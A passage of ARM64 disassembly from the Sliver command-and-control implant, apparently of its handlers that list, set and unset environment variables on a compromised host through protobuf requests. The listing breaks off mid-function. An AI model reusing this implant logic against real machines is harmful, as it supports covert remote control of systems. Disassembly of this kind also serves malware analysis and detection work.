    004fdd14stp x29, x30, [x20-8]
    004fdd18add sp, x20, 0
    004fdd1csub x29, sp, 8
    004fdd20str x0, [sp+504]
    004fdd24str x1, [sp+512]
    004fdd28str x2, [sp+520]
    004fdd2cstr x3, [sp+528]
    004fdd30adrp x0, 0x173000
    004fdd34add x0, x0, 3872
    004fdd38bl runtime.newobject
    004fdd3cstr x0, [sp+320]
    004fdd40adrp x27, 0x54e000
    004fdd44ldr w1, [x27+3056]
    004fdd48cbz w1, 0x4fdd50
    004fdd4cb 0x4fdd54
    004fdd50
    004fdd50loc_4fdd50:
    004fdd50b 0x4fdd70
    004fdd54
    004fdd54loc_4fdd54:
    004fdd54str x0, [sp+216]
    004fdd58mov x1, x0
    004fdd5cadrp x0, 0x173000
    004fdd60add x0, x0, 3872
    004fdd64bl runtime.wbZero
    004fdd68ldr x0, [sp+216]
    004fdd6cb 0x4fdd70
    004fdd70
    004fdd70loc_4fdd70:
    004fdd70stp xzr, xzr, [x0]
    004fdd74stp xzr, xzr, [x0+16]
    004fdd78stp xzr, xzr, [x0+32]
    004fdd7cstp xzr, xzr, [x0+48]
    004fdd80ldr x4, [sp+320]
    004fdd84str x4, [sp+176]
    004fdd88str x4, [sp+432]
    004fdd8cldr x0, [sp+504]
    004fdd90ldr x1, [sp+512]
    004fdd94ldr x2, [sp+520]
    004fdd98adrp x3, 0x217000
    004fdd9cadd x3, x3, 288
    004fdda0bl google.golang.org/protobuf/proto.Unmarshal
    004fdda4str x0, [sp+136]
    004fdda8str x1, [sp+144]
    004fddaccbnz x0, 0x4fddb4
    004fddb0b 0x4fde70
    004fddb4
    004fddb4loc_4fddb4:
    004fddb4stp xzr, xzr, [sp+416]
    004fddb8add x5, sp, 416
    004fddbcstr x5, [sp+288]
    004fddc0ldr x5, [sp+136]
    004fddc4ldr x6, [sp+144]
    004fddc8str x5, [sp+272]
    004fddccstr x6, [sp+280]
    004fddd0str x5, [sp+264]
    004fddd4ldr x5, [sp+264]
    004fddd8cbnz x5, 0x4fdde0
    004fdddcb 0x4fddf0
    004fdde0
    004fdde0loc_4fdde0:
    004fdde0ldr x5, [sp+264]
    004fdde4ldr x5, [x5+8]
    004fdde8str x5, [sp+264]
    004fddecb 0x4fddf4
    004fddf0
    004fddf0loc_4fddf0:
    004fddf0b 0x4fddf4
    004fddf4
    004fddf4loc_4fddf4:
    004fddf4ldr x5, [sp+288]
    004fddf8ldrsb x27, [x5]
    004fddfcldr x6, [sp+264]
    004fde00ldr x7, [sp+280]
    004fde04str x6, [x5]
    004fde08adrp x27, 0x54e000
    004fde0cldr w6, [x27+3056]
    004fde10cbz w6, 0x4fde18
    004fde14b 0x4fde1c
    004fde18
    004fde18loc_4fde18:
    004fde18b 0x4fde30
    004fde1c
    004fde1cloc_4fde1c:
    004fde1cbl runtime.gcWriteBarrier2
    004fde20str x7, [x25]
    004fde24ldr x6, [x5+8]
    004fde28str x6, [x25+8]
    004fde2cb 0x4fde30
    004fde30
    004fde30loc_4fde30:
    004fde30str x7, [x5+8]
    004fde34ldr x2, [sp+288]
    004fde38ldrsb x27, [x2]
    004fde3cb 0x4fde40
    004fde40
    004fde40loc_4fde40:
    004fde40str x2, [sp+296]
    004fde44orr x4, xzr, 1
    004fde48str x4, [sp+304]
    004fde4cstr x4, [sp+312]
    004fde50adrp x0, 0x1bd000
    004fde54add x0, x0, 3983
    004fde58movz x1, 27
    004fde5cmov x3, x4
    004fde60bl log.Printf
    004fde64ldp x29, x30, [sp-8]
    004fde68add sp, sp, 496
    004fde6cret x30
    004fde70
    004fde70loc_4fde70:
    004fde70bl os.Environ
    004fde74str x0, [sp+88]
    004fde78str x1, [sp+96]
    004fde7cstr x2, [sp+104]
    004fde80stp xzr, xzr, [sp+152]
    004fde84str xzr, [sp+168]
    004fde88adrp x0, 0x174000
    004fde8cadd x0, x0, 0
    004fde90bl runtime.newobject
    004fde94str x0, [sp+480]
    004fde98adrp x27, 0x54e000
    004fde9cldr w1, [x27+3056]
    004fdea0cbz w1, 0x4fdea8
    004fdea4b 0x4fdeac
    004fdea8
    004fdea8loc_4fdea8:
    004fdea8b 0x4fdec8
    004fdeac
    004fdeacloc_4fdeac:
    004fdeacstr x0, [sp+208]
    004fdeb0mov x1, x0
    004fdeb4adrp x0, 0x174000
    004fdeb8add x0, x0, 0
    004fdebcbl runtime.wbZero
    004fdec0ldr x0, [sp+208]
    004fdec4b 0x4fdec8
    004fdec8
    004fdec8loc_4fdec8:
    004fdec8stp xzr, xzr, [x0]
    004fdeccstp xzr, xzr, [x0+16]
    004fded0stp xzr, xzr, [x0+32]
    004fded4stp xzr, xzr, [x0+48]
    004fded8str xzr, [x0+64]
    004fdedcldr x3, [sp+176]
    004fdee0ldrsb x27, [x3]
    004fdee4ldr x3, [x3+16]
    004fdee8cbnz x3, 0x4fdef0
    004fdeecb 0x4fe05c
    004fdef0
    004fdef0loc_4fdef0:
    004fdef0adrp x0, 0x164000
    004fdef4add x0, x0, 1056
    004fdef8orr x1, xzr, 1
    004fdefcmov x2, x1
    004fdf00bl runtime.makeslice
    004fdf04str x0, [sp+152]
    004fdf08orr x3, xzr, 1
    004fdf0cstr x3, [sp+160]
    004fdf10str x3, [sp+168]
    004fdf14ldr x3, [sp+176]
    004fdf18ldrsb x27, [x3]
    004fdf1cldr x0, [x3+8]
    004fdf20ldr x1, [x3+16]
    004fdf24str x0, [sp+248]
    004fdf28str x1, [sp+256]
    004fdf2cbl os.Getenv
    004fdf30str x0, [sp+400]
    004fdf34str x1, [sp+408]
    004fdf38adrp x0, 0x177000
    004fdf3cadd x0, x0, 2944
    004fdf40bl runtime.newobject
    004fdf44str x0, [sp+240]
    004fdf48adrp x27, 0x54e000
    004fdf4cldr w3, [x27+3056]
    004fdf50cbz w3, 0x4fdf58
    004fdf54b 0x4fdf5c
    004fdf58
    004fdf58loc_4fdf58:
    004fdf58b 0x4fdf78
    004fdf5c
    004fdf5cloc_4fdf5c:
    004fdf5cstr x0, [sp+200]
    004fdf60mov x1, x0
    004fdf64adrp x0, 0x177000
    004fdf68add x0, x0, 2944
    004fdf6cbl runtime.wbZero
    004fdf70ldr x0, [sp+200]
    004fdf74b 0x4fdf78
    004fdf78
    004fdf78loc_4fdf78:
    004fdf78stp xzr, xzr, [x0]
    004fdf7cstp xzr, xzr, [x0+16]
    004fdf80stp xzr, xzr, [x0+32]
    004fdf84stp xzr, xzr, [x0+48]
    004fdf88str xzr, [x0+64]
    004fdf8cldr x2, [sp+240]
    004fdf90ldrsb x27, [x2]
    004fdf94ldr x3, [sp+176]
    004fdf98ldrsb x27, [x3]
    004fdf9cldr x4, [x3+8]
    004fdfa0ldr x3, [x3+16]
    004fdfa4str x3, [x2+16]
    004fdfa8adrp x27, 0x54e000
    004fdfacldr w3, [x27+3056]
    004fdfb0cbz w3, 0x4fdfb8
    004fdfb4b 0x4fdfbc
    004fdfb8
    004fdfb8loc_4fdfb8:
    004fdfb8b 0x4fdfd0
    004fdfbc
    004fdfbcloc_4fdfbc:
    004fdfbcbl runtime.gcWriteBarrier2
    004fdfc0str x4, [x25]
    004fdfc4ldr x3, [x2+8]
    004fdfc8str x3, [x25+8]
    004fdfccb 0x4fdfd0
    004fdfd0
    004fdfd0loc_4fdfd0:
    004fdfd0str x4, [x2+8]
    004fdfd4ldr x2, [sp+240]
    004fdfd8ldrsb x27, [x2]
    004fdfdcldr x3, [sp+400]
    004fdfe0ldr x4, [sp+408]
    004fdfe4str x4, [x2+32]
    004fdfe8adrp x27, 0x54e000
    004fdfecldr w4, [x27+3056]
    004fdff0cbz w4, 0x4fdff8
    004fdff4b 0x4fdffc
    004fdff8
    004fdff8loc_4fdff8:
    004fdff8b 0x4fe010
    004fdffc
    004fdffcloc_4fdffc:
    004fdffcbl runtime.gcWriteBarrier2
    004fe000str x3, [x25]
    004fe004ldr x4, [x2+24]
    004fe008str x4, [x25+8]
    004fe00cb 0x4fe010
    004fe010
    004fe010loc_4fe010:
    004fe010str x3, [x2+24]
    004fe014ldr x2, [sp+152]
    004fe018ldr x1, [sp+160]
    004fe01cldr x3, [sp+240]
    004fe020subs xzr, x1, 0
    004fe024b.hi 0x4fe02c
    004fe028b 0x4fe378
    004fe02c
    004fe02cloc_4fe02c:
    004fe02cadrp x27, 0x54d000
    004fe030ldr w4, [x27+3056]
    004fe034cbz w4, 0x4fe03c
    004fe038b 0x4fe040
    004fe03c
    004fe03cloc_4fe03c:
    004fe03cb 0x4fe054
    004fe040
    004fe040loc_4fe040:
    004fe040bl runtime.gcWriteBarrier2
    004fe044str x3, [x25]
    004fe048ldr x4, [x2]
    004fe04cstr x4, [x25+8]
    004fe050b 0x4fe054
    004fe054
    004fe054loc_4fe054:
    004fe054str x3, [x2]
    004fe058b 0x4fe274
    004fe05c
    004fe05cloc_4fe05c:
    004fe05cldr x2, [sp+96]
    004fe060str x2, [sp+80]
    004fe064adrp x0, 0x163000
    004fe068add x0, x0, 1056
    004fe06cmov x1, x2
    004fe070bl runtime.makeslice
    004fe074ldr x3, [sp+80]
    004fe078ldr x4, [sp+80]
    004fe07cstr x0, [sp+152]
    004fe080str x3, [sp+160]
    004fe084str x4, [sp+168]
    004fe088ldr x3, [sp+96]
    004fe08cldr x4, [sp+88]
    004fe090ldr x5, [sp+104]
    004fe094str x4, [sp+376]
    004fe098str x3, [sp+384]
    004fe09cstr x5, [sp+392]
    004fe0a0str xzr, [sp+72]
    004fe0a4str x3, [sp+64]
    004fe0a8ldr x3, [sp+376]
    004fe0acstr x3, [sp+56]
    004fe0b0b 0x4fe0b4
    004fe0b4
    004fe0b4loc_4fe0b4:
    004fe0b4ldr x5, [sp+64]
    004fe0b8ldr x6, [sp+72]
    004fe0bcsubs xzr, x5, x6
    004fe0c0b.gt 0x4fe0c8
    004fe0c4b 0x4fe270
    004fe0c8
    004fe0c8loc_4fe0c8:
    004fe0c8ldr x5, [sp+56]
    004fe0ccstr x5, [sp+232]
    004fe0d0ldr x5, [sp+72]
    004fe0d4str x5, [sp+48]
    004fe0d8ldr x5, [sp+232]
    004fe0dcldr x0, [x5]
    004fe0e0ldr x1, [x5+8]
    004fe0e4str x0, [sp+184]
    004fe0e8str x1, [sp+192]
    004fe0ecadrp x2, 0x211000
    004fe0f0add x2, x2, 720
    004fe0f4orr x3, xzr, 1
    004fe0f8orr x4, xzr, 2
    004fe0fcbl strings.SplitN
    004fe100str x0, [sp+112]
    004fe104str x1, [sp+120]
    004fe108str x2, [sp+128]
    004fe10cadrp x0, 0x176000
    004fe110add x0, x0, 2944
    004fe114bl runtime.newobject
    004fe118str x0, [sp+224]
    004fe11cadrp x27, 0x54d000
    004fe120ldr w5, [x27+3056]
    004fe124cbz w5, 0x4fe12c
    004fe128b 0x4fe130
    004fe12c
    004fe12cloc_4fe12c:
    004fe12cb 0x4fe14c
    004fe130
    004fe130loc_4fe130:
    004fe130str x0, [sp+200]
    004fe134mov x1, x0
    004fe138adrp x0, 0x176000
    004fe13cadd x0, x0, 2944
    004fe140bl runtime.wbZero
    004fe144ldr x0, [sp+200]
    004fe148b 0x4fe14c
    004fe14c
    004fe14cloc_4fe14c:
    004fe14cstp xzr, xzr, [x0]
    004fe150stp xzr, xzr, [x0+16]
    004fe154stp xzr, xzr, [x0+32]
    004fe158stp xzr, xzr, [x0+48]
    004fe15cstr xzr, [x0+64]
    004fe160ldr x5, [sp+112]
    004fe164ldr x1, [sp+120]
    004fe168subs xzr, x1, 0
    004fe16cb.hi 0x4fe174
    004fe170b 0x4fe370
    004fe174
    004fe174loc_4fe174:
    004fe174ldr x6, [sp+224]
    004fe178ldrsb x27, [x6]
    004fe17cldr x7, [x5]
    004fe180ldr x5, [x5+8]
    004fe184str x5, [x6+16]
    004fe188adrp x27, 0x54d000
    004fe18cldr w5, [x27+3056]
    004fe190cbz w5, 0x4fe198
    004fe194b 0x4fe19c
    004fe198
    004fe198loc_4fe198:
    004fe198b 0x4fe1b0
    004fe19c
    004fe19cloc_4fe19c:
    004fe19cbl runtime.gcWriteBarrier2
    004fe1a0str x7, [x25]
    004fe1a4ldr x5, [x6+8]
    004fe1a8str x5, [x25+8]
    004fe1acb 0x4fe1b0
    004fe1b0
    004fe1b0loc_4fe1b0:
    004fe1b0str x7, [x6+8]
    004fe1b4ldr x5, [sp+112]
    004fe1b8ldr x1, [sp+120]
    004fe1bcsubs xzr, x1, 1
    004fe1c0b.hi 0x4fe1c8
    004fe1c4b 0x4fe368
    004fe1c8
    004fe1c8loc_4fe1c8:
    004fe1c8ldr x6, [sp+224]
    004fe1ccldrsb x27, [x6]
    004fe1d0ldr x7, [x5+16]
    004fe1d4ldr x5, [x5+24]
    004fe1d8str x5, [x6+32]
    004fe1dcadrp x27, 0x54d000
    004fe1e0ldr w5, [x27+3056]
    004fe1e4cbz w5, 0x4fe1ec
    004fe1e8b 0x4fe1f0
    004fe1ec
    004fe1ecloc_4fe1ec:
    004fe1ecb 0x4fe204
    004fe1f0
    004fe1f0loc_4fe1f0:
    004fe1f0bl runtime.gcWriteBarrier2
    004fe1f4str x7, [x25]
    004fe1f8ldr x5, [x6+24]
    004fe1fcstr x5, [x25+8]
    004fe200b 0x4fe204
    004fe204
    004fe204loc_4fe204:
    004fe204str x7, [x6+24]
    004fe208ldr x0, [sp+48]
    004fe20cldr x5, [sp+152]
    004fe210ldr x1, [sp+160]
    004fe214ldr x6, [sp+224]
    004fe218subs xzr, x1, x0
    004fe21cb.hi 0x4fe224
    004fe220b 0x4fe364
    004fe224
    004fe224loc_4fe224:
    004fe224adrp x27, 0x54d000
    004fe228ldr w7, [x27+3056]
    004fe22ccbz w7, 0x4fe234
    004fe230b 0x4fe238
    004fe234
    004fe234loc_4fe234:
    004fe234b 0x4fe24c
    004fe238
    004fe238loc_4fe238:
    004fe238bl runtime.gcWriteBarrier2
    004fe23cstr x6, [x25]
    004fe240ldr x7, [x5+3*x0]
    004fe244str x7, [x25+8]
    004fe248b 0x4fe24c
    004fe24c
    004fe24cloc_4fe24c:
    004fe24cstr x6, [x5+3*x0]
    004fe250b 0x4fe254
    004fe254
    004fe254loc_4fe254:
    004fe254ldr x5, [sp+72]
    004fe258add x5, x5, 1
    004fe25cstr x5, [sp+72]
    004fe260ldr x5, [sp+232]
    004fe264add x5, x5, 16
    004fe268str x5, [sp+56]
    004fe26cb 0x4fe0b4
    004fe270
    004fe270loc_4fe270:
    004fe270b 0x4fe274
    004fe274
    004fe274loc_4fe274:
    004fe274ldr x2, [sp+480]
    004fe278ldr x3, [sp+152]
    004fe27cldr x4, [sp+160]
    004fe280ldr x5, [sp+168]
    004fe284str x4, [x2+16]
    004fe288str x5, [x2+24]
    004fe28cadrp x27, 0x54d000
    004fe290ldr w4, [x27+3056]
    004fe294cbz w4, 0x4fe29c
    004fe298b 0x4fe2a0
    004fe29c
    004fe29cloc_4fe29c:
    004fe29cb 0x4fe2b4
    004fe2a0
    004fe2a0loc_4fe2a0:
    004fe2a0bl runtime.gcWriteBarrier2
    004fe2a4str x3, [x25]
    004fe2a8ldr x4, [x2+8]
    004fe2acstr x4, [x25+8]
    004fe2b0b 0x4fe2b4
    004fe2b4
    004fe2b4loc_4fe2b4:
    004fe2b4str x3, [x2+8]
    004fe2b8ldr x2, [sp+480]
    004fe2bcstr x2, [sp+368]
    004fe2c0stp xzr, xzr, [sp+344]
    004fe2c4str xzr, [sp+360]
    004fe2c8stp xzr, xzr, [sp+328]
    004fe2ccldr x1, [sp+368]
    004fe2d0adrp x0, 0x216000
    004fe2d4add x0, x0, 320
    004fe2d8bl google.golang.org/protobuf/proto.Marshal
    004fe2dcstr x0, [sp+344]
    004fe2e0str x1, [sp+352]
    004fe2e4str x2, [sp+360]
    004fe2e8str x3, [sp+328]
    004fe2ecstr x4, [sp+336]
    004fe2f0ldr x2, [sp+344]
    004fe2f4ldr x3, [sp+352]
    004fe2f8ldr x4, [sp+360]
    004fe2fcstr x2, [sp+456]
    004fe300str x3, [sp+464]
    004fe304str x4, [sp+472]
    004fe308ldr x2, [sp+328]
    004fe30cldr x3, [sp+336]
    004fe310str x2, [sp+440]
    004fe314str x3, [sp+448]
    004fe318ldr x2, [sp+456]
    004fe31cldr x3, [sp+464]
    004fe320ldr x4, [sp+472]
    004fe324str x2, [sp+504]
    004fe328str x3, [sp+512]
    004fe32cstr x4, [sp+520]
    004fe330ldr x3, [sp+440]
    004fe334ldr x4, [sp+448]
    004fe338str x3, [sp+136]
    004fe33cstr x4, [sp+144]
    004fe340ldr x0, [sp+504]
    004fe344ldr x1, [sp+512]
    004fe348ldr x2, [sp+520]
    004fe34cldr x26, [sp+528]
    004fe350ldr x5, [x26]
    004fe354blr x5
    004fe358ldp x29, x30, [sp-8]
    004fe35cadd sp, sp, 496
    004fe360ret x30
    004fe364
    004fe364loc_4fe364:
    004fe364bl runtime.panicIndex
    004fe368
    004fe368loc_4fe368:
    004fe368orr x0, xzr, 1
    004fe36cbl runtime.panicIndex
    004fe370
    004fe370loc_4fe370:
    004fe370mov x0, xzr
    004fe374bl runtime.panicIndex
    004fe378
    004fe378loc_4fe378:
    004fe378mov x0, xzr
    004fe37cbl runtime.panicIndex
    004fe380hint
    004fe384
    004fe384loc_4fe384:
    004fe384stp x0, x1, [sp+8]
    004fe388stp x2, x3, [sp+24]
    004fe38cmov x3, x30
    004fe390bl runtime.morestack_noctxt.abi0
    004fe394ldp x0, x1, [sp+8]
    004fe398ldp x2, x3, [sp+24]
    004fe39cb 0x4fdd00
    004fdd00
    004fe3a0
    004fe3a0github.com/bishopfox/sliver/implant/sliver/handlers.setEnvHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.setEnvHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    004fe3a0ldr x16, [x28+16]
    004fe3a4sub x17, sp, 224
    004fe3a8subs xzr, x17, x16
    004fe3acb.ls 0x4fe764
    004fe3b0sub x20, sp, 352
    004fe3b4stp x29, x30, [x20-8]
    004fe3b8add sp, x20, 0
    004fe3bcsub x29, sp, 8
    004fe3c0str x0, [sp+360]
    004fe3c4str x1, [sp+368]
    004fe3c8str x2, [sp+376]
    004fe3ccstr x3, [sp+384]
    004fe3d0adrp x0, 0x173000
    004fe3d4add x0, x0, 224
    004fe3d8bl runtime.newobject
    004fe3dcstr x0, [sp+288]
    004fe3e0adrp x27, 0x54d000
    004fe3e4ldr w1, [x27+3056]
    004fe3e8cbz w1, 0x4fe3f0
    004fe3ecb 0x4fe3f4
    004fe3f0
    004fe3f0loc_4fe3f0:
    004fe3f0b 0x4fe410
    004fe3f4
    004fe3f4loc_4fe3f4:
    004fe3f4str x0, [sp+176]
    004fe3f8mov x1, x0
    004fe3fcadrp x0, 0x173000
    004fe400add x0, x0, 224
    004fe404bl runtime.wbZero
    004fe408ldr x0, [sp+176]
    004fe40cb 0x4fe410
    004fe410
    004fe410loc_4fe410:
    004fe410stp xzr, xzr, [x0]
    004fe414stp xzr, xzr, [x0+16]
    004fe418stp xzr, xzr, [x0+32]
    004fe41cstr xzr, [x0+48]
    004fe420ldr x4, [sp+288]
    004fe424str x4, [sp+72]
    004fe428str x4, [sp+112]
    004fe42cldr x0, [sp+360]
    004fe430ldr x1, [sp+368]
    004fe434ldr x2, [sp+376]
    004fe438adrp x3, 0x216000
    004fe43cadd x3, x3, 224
    004fe440bl google.golang.org/protobuf/proto.Unmarshal
    004fe444str x0, [sp+56]
    004fe448str x1, [sp+64]
    004fe44ccbnz x0, 0x4fe454
    004fe450b 0x4fe510
    004fe454
    004fe454loc_4fe454:
    004fe454stp xzr, xzr, [sp+96]
    004fe458add x5, sp, 96
    004fe45cstr x5, [sp+256]
    004fe460ldr x5, [sp+56]
    004fe464ldr x6, [sp+64]
    004fe468str x5, [sp+240]
    004fe46cstr x6, [sp+248]
    004fe470str x5, [sp+232]
    004fe474ldr x5, [sp+232]
    004fe478cbnz x5, 0x4fe480
    004fe47cb 0x4fe490
    004fe480
    004fe480loc_4fe480:
    004fe480ldr x5, [sp+232]
    004fe484ldr x5, [x5+8]
    004fe488str x5, [sp+232]
    004fe48cb 0x4fe494
    004fe490
    004fe490loc_4fe490:
    004fe490b 0x4fe494
    004fe494
    004fe494loc_4fe494:
    004fe494ldr x5, [sp+256]
    004fe498ldrsb x27, [x5]
    004fe49cldr x6, [sp+232]
    004fe4a0ldr x7, [sp+248]
    004fe4a4str x6, [x5]
    004fe4a8adrp x27, 0x54d000
    004fe4acldr w6, [x27+3056]
    004fe4b0cbz w6, 0x4fe4b8
    004fe4b4b 0x4fe4bc
    004fe4b8
    004fe4b8loc_4fe4b8:
    004fe4b8b 0x4fe4d0
    004fe4bc
    004fe4bcloc_4fe4bc:
    004fe4bcbl runtime.gcWriteBarrier2
    004fe4c0str x7, [x25]
    004fe4c4ldr x6, [x5+8]
    004fe4c8str x6, [x25+8]
    004fe4ccb 0x4fe4d0
    004fe4d0
    004fe4d0loc_4fe4d0:
    004fe4d0str x7, [x5+8]
    004fe4d4ldr x2, [sp+256]
    004fe4d8ldrsb x27, [x2]
    004fe4dcb 0x4fe4e0
    004fe4e0
    004fe4e0loc_4fe4e0:
    004fe4e0str x2, [sp+264]
    004fe4e4orr x4, xzr, 1
    004fe4e8str x4, [sp+272]
    004fe4ecstr x4, [sp+280]
    004fe4f0adrp x0, 0x1bc000
    004fe4f4add x0, x0, 3983
    004fe4f8movz x1, 27
    004fe4fcmov x3, x4
    004fe500bl log.Printf
    004fe504ldp x29, x30, [sp-8]
    004fe508add sp, sp, 352
    004fe50cret x30
    004fe510
    004fe510loc_4fe510:
    004fe510ldr x4, [sp+72]
    004fe514ldrsb x27, [x4]
    004fe518ldr x4, [x4+8]
    004fe51cldrsb x27, [x4]
    004fe520ldr x5, [x4+8]
    004fe524ldr x4, [x4+16]
    004fe528str x5, [sp+216]
    004fe52cstr x4, [sp+224]
    004fe530ldr x4, [sp+72]
    004fe534ldrsb x27, [x4]
    004fe538ldr x4, [x4+8]
    004fe53cldrsb x27, [x4]
    004fe540ldr x2, [x4+24]
    004fe544ldr x3, [x4+32]
    004fe548str x2, [sp+200]
    004fe54cstr x3, [sp+208]
    004fe550ldr x0, [sp+216]
    004fe554ldr x1, [sp+224]
    004fe558bl os.Setenv
    004fe55cstr x0, [sp+56]
    004fe560str x1, [sp+64]
    004fe564adrp x0, 0x165000
    004fe568add x0, x0, 2848
    004fe56cbl runtime.newobject
    004fe570str x0, [sp+192]
    004fe574adrp x27, 0x54d000
    004fe578ldr w4, [x27+3056]
    004fe57ccbz w4, 0x4fe584
    004fe580b 0x4fe588
    004fe584
    004fe584loc_4fe584:
    004fe584b 0x4fe5a4
    004fe588
    004fe588loc_4fe588:
    004fe588str x0, [sp+168]
    004fe58cmov x1, x0
    004fe590adrp x0, 0x165000
    004fe594add x0, x0, 2848
    004fe598bl runtime.wbZero
    004fe59cldr x0, [sp+168]
    004fe5a0b 0x4fe5a4
    004fe5a4
    004fe5a4loc_4fe5a4:
    004fe5a4stp xzr, xzr, [x0]
    004fe5a8stp xzr, xzr, [x0+16]
    004fe5acstp xzr, xzr, [x0+32]
    004fe5b0adrp x0, 0x187000
    004fe5b4add x0, x0, 3648
    004fe5b8bl runtime.newobject
    004fe5bcstr x0, [sp+184]
    004fe5c0adrp x27, 0x54d000
    004fe5c4ldr w1, [x27+3056]
    004fe5c8cbz w1, 0x4fe5d0
    004fe5ccb 0x4fe5d4
    004fe5d0
    004fe5d0loc_4fe5d0:
    004fe5d0b 0x4fe5f0
    004fe5d4
    004fe5d4loc_4fe5d4:
    004fe5d4str x0, [sp+160]
    004fe5d8mov x1, x0
    004fe5dcadrp x0, 0x187000
    004fe5e0add x0, x0, 3648
    004fe5e4bl runtime.wbZero
    004fe5e8ldr x0, [sp+160]
    004fe5ecb 0x4fe5f0
    004fe5f0
    004fe5f0loc_4fe5f0:
    004fe5f0mov x20, x0
    004fe5f4adr x27, 16
    004fe5f8stp x29, x27, [sp-24]
    004fe5fcsub x29, sp, 24
    004fe600bl fn_87cf8
    004fe604sub x29, sp, 8
    004fe608ldr x2, [sp+192]
    004fe60cldrsb x27, [x2]
    004fe610ldr x3, [sp+184]
    004fe614adrp x27, 0x54d000
    004fe618ldr w4, [x27+3056]
    004fe61ccbz w4, 0x4fe624
    004fe620b 0x4fe628
    004fe624
    004fe624loc_4fe624:
    004fe624b 0x4fe63c
    004fe628
    004fe628loc_4fe628:
    004fe628bl runtime.gcWriteBarrier2
    004fe62cstr x3, [x25]
    004fe630ldr x4, [x2+8]
    004fe634str x4, [x25+8]
    004fe638b 0x4fe63c
    004fe63c
    004fe63cloc_4fe63c:
    004fe63cstr x3, [x2+8]
    004fe640ldr x2, [sp+192]
    004fe644str x2, [sp+48]
    004fe648ldr x2, [sp+56]
    004fe64ccbnz x2, 0x4fe654
    004fe650b 0x4fe6b4
    004fe654
    004fe654loc_4fe654:
    004fe654ldr x1, [sp+56]
    004fe658ldrsb x27, [x1]
    004fe65cldr x1, [x1+24]
    004fe660ldr x0, [sp+64]
    004fe664blr x1
    004fe668str x0, [sp+80]
    004fe66cstr x1, [sp+88]
    004fe670ldr x2, [sp+48]
    004fe674ldrsb x27, [x2]
    004fe678ldr x2, [x2+8]
    004fe67cldrsb x27, [x2]
    004fe680str x1, [x2+16]
    004fe684adrp x27, 0x54d000
    004fe688ldr w1, [x27+3056]
    004fe68ccbz w1, 0x4fe694
    004fe690b 0x4fe698
    004fe694
    004fe694loc_4fe694:
    004fe694b 0x4fe6ac
    004fe698
    004fe698loc_4fe698:
    004fe698bl runtime.gcWriteBarrier2
    004fe69cstr x0, [x25]
    004fe6a0ldr x3, [x2+8]
    004fe6a4str x3, [x25+8]
    004fe6a8b 0x4fe6ac
    004fe6ac
    004fe6acloc_4fe6ac:
    004fe6acstr x0, [x2+8]
    004fe6b0b 0x4fe6b8
    004fe6b4
    004fe6b4loc_4fe6b4:
    004fe6b4b 0x4fe6b8
    004fe6b8
    004fe6b8loc_4fe6b8:
    004fe6b8ldr x2, [sp+48]
    004fe6bcstr x2, [sp+336]
    004fe6c0str xzr, [sp+312]
    004fe6c4stp xzr, xzr, [sp+320]
    004fe6c8stp xzr, xzr, [sp+296]
    004fe6ccldr x1, [sp+336]
    004fe6d0adrp x0, 0x216000
    004fe6d4add x0, x0, 256
    004fe6d8bl google.golang.org/protobuf/proto.Marshal
    004fe6dcstr x0, [sp+312]
    004fe6e0str x1, [sp+320]
    004fe6e4str x2, [sp+328]
    004fe6e8str x3, [sp+296]
    004fe6ecstr x4, [sp+304]
    004fe6f0ldr x2, [sp+312]
    004fe6f4ldr x3, [sp+320]
    004fe6f8ldr x4, [sp+328]
    004fe6fcstr x2, [sp+136]
    004fe700str x3, [sp+144]
    004fe704str x4, [sp+152]
    004fe708ldr x2, [sp+296]
    004fe70cldr x3, [sp+304]
    004fe710str x2, [sp+120]
    004fe714str x3, [sp+128]
    004fe718ldr x2, [sp+136]
    004fe71cldr x3, [sp+144]
    004fe720ldr x4, [sp+152]
    004fe724str x2, [sp+360]
    004fe728str x3, [sp+368]
    004fe72cstr x4, [sp+376]
    004fe730ldr x3, [sp+120]
    004fe734ldr x4, [sp+128]
    004fe738str x3, [sp+56]
    004fe73cstr x4, [sp+64]
    004fe740ldr x0, [sp+360]
    004fe744ldr x1, [sp+368]
    004fe748ldr x2, [sp+376]
    004fe74cldr x26, [sp+384]
    004fe750ldr x5, [x26]
    004fe754blr x5
    004fe758ldp x29, x30, [sp-8]
    004fe75cadd sp, sp, 352
    004fe760ret x30
    004fe764
    004fe764loc_4fe764:
    004fe764stp x0, x1, [sp+8]
    004fe768stp x2, x3, [sp+24]
    004fe76cmov x3, x30
    004fe770bl runtime.morestack_noctxt.abi0
    004fe774ldp x0, x1, [sp+8]
    004fe778ldp x2, x3, [sp+24]
    004fe77cb 0x4fe3a0
    004fe3a0
    004fe780
    004fe780github.com/bishopfox/sliver/implant/sliver/handlers.unsetEnvHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.unsetEnvHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    004fe780ldr x16, [x28+16]
    004fe784sub x17, sp, 208
    004fe788subs xzr, x17, x16
    004fe78cb.ls 0x4feb14
    004fe790sub x20, sp, 336
    004fe794stp x29, x30, [x20-8]
    004fe798add sp, x20, 0
    004fe79csub x29, sp, 8
    004fe7a0str x0, [sp+344]
    004fe7a4str x1, [sp+352]
    004fe7a8str x2, [sp+360]
    004fe7acstr x3, [sp+368]
    004fe7b0adrp x0, 0x173000
    004fe7b4add x0, x0, 448
    004fe7b8bl runtime.newobject
    004fe7bcstr x0, [sp+272]
    004fe7c0adrp x27, 0x54d000
    004fe7c4ldr w1, [x27+3056]
    004fe7c8cbz w1, 0x4fe7d0
    004fe7ccb 0x4fe7d4
    004fe7d0
    004fe7d0loc_4fe7d0:
    004fe7d0b 0x4fe7f0
    004fe7d4
    004fe7d4loc_4fe7d4:
    004fe7d4str x0, [sp+176]
    004fe7d8mov x1, x0
    004fe7dcadrp x0, 0x173000
    004fe7e0add x0, x0, 448
    004fe7e4bl runtime.wbZero
    004fe7e8ldr x0, [sp+176]
    004fe7ecb 0x4fe7f0
    004fe7f0
    004fe7f0loc_4fe7f0:
    004fe7f0stp xzr, xzr, [x0]
    004fe7f4stp xzr, xzr, [x0+16]
    004fe7f8stp xzr, xzr, [x0+32]
    004fe7fcstp xzr, xzr, [x0+48]
    004fe800ldr x4, [sp+272]
    004fe804str x4, [sp+56]
    004fe808str x4, [sp+112]
    004fe80cldr x0, [sp+344]
    004fe810ldr x1, [sp+352]
    004fe814ldr x2, [sp+360]
    004fe818adrp x3, 0x216000
    004fe81cadd x3, x3, 160
